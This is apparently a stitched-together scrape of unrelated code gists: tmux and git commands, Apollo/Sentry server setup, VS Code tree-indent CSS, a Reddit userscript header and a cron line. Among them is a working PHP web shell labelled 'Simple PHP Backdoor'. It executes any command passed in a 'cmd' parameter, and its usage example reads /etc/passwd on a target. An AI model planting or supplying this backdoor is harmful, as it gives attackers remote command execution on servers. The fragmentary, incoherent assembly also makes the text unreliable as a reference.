start new:
tmux
start new with session name:
tmux new -s myname
git rm -r --cached . | |
git add . | |
git commit -m "fixed untracked files" |
<!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
import express from 'express'; | |
import { ApolloServer } from 'apollo-server-express'; | |
import { ApolloServerPlugin } from 'apollo-server-plugin-base'; | |
import * as Sentry from '@sentry/node'; | |
Sentry.init({ | |
environment: process.env.APP_ENV, | |
// see why we use APP_NAME here: https://github.com/getsentry/sentry-cli/issues/482 | |
release: `${process.env.APP_NAME}-${process.env.APP_REVISION}` || '0.0.1', | |
dsn: process.env.SENTRY_DSN, |
Increases indentation on the file tree and adds some lines to each directory/file.
Works 15 levels deep, but you can expand it by just adding more of each line thats repeating, i.e.:
(n*-20px) 0 0 0 rgba(255, 255, 255, 0.4)
.monaco-tree-row[aria-level="n"] { padding-left: ((n-1)*20)px; }
.monaco-tree-row[aria-level="n"]:before { left: (((n-1)*20)-9)px; }
.monaco-tree-row[aria-level="n"]:after { left: (((n-1)*20)-9)px; }
No, this isn't about render props
I'm going to clean this up and publish it in my newsletter next week!
So react-i18n
(not the npm one... one we made at PayPal internally) has this
Install the custom CSS plugin, then make a file on your computer that will hold your custom CSS, I like to make one in my home directory called ~/.vscodestyles.css
and then add the CSS into it.
Once done, open your command palette and select enable custom CSS and JS
// ==UserScript== | |
// @name Reddit Multi Column | |
// @namespace https://gist.github.com/c6p/463892bb243f611f2a3cfa4268c6435e | |
// @version 0.2.6 | |
// @description Multi column layout for reddit redesign | |
// @author Can Altıparmak | |
// @homepageURL https://gist.github.com/c6p/463892bb243f611f2a3cfa4268c6435e | |
// @match https://www.reddit.com/* | |
// @match https://new.reddit.com/* | |
// @grant none |
# Add a scheduled sync task at 4:00 am | |
# Some privileges should be granted to `cron` *manually*, so you may test `* * * * *` (run every second) first to grant the needed privileges in advance | |
0 4 * * * osascript /path/to/your/sync-from-chrome-to-safari.scpt |